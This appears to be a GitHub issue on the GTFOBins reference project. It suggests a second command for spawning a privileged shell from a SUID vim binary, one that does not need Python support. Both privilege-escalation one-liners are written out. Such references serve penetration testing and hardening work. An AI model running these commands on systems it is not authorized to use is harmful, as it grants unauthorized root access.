GTFOBins.github.io
GTFOBins.github.io copied to clipboard
Additional vim SUID exploitation option?
Hi!
The section about SUID with only mentoins this option:
./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
This can be added:
./vim -c ':set shell=/bin/sh\ -p|shell'
benefit is that this doesn't require python support.
@cyrus-and can you take a look at this? If you need any clarification please tell me!
great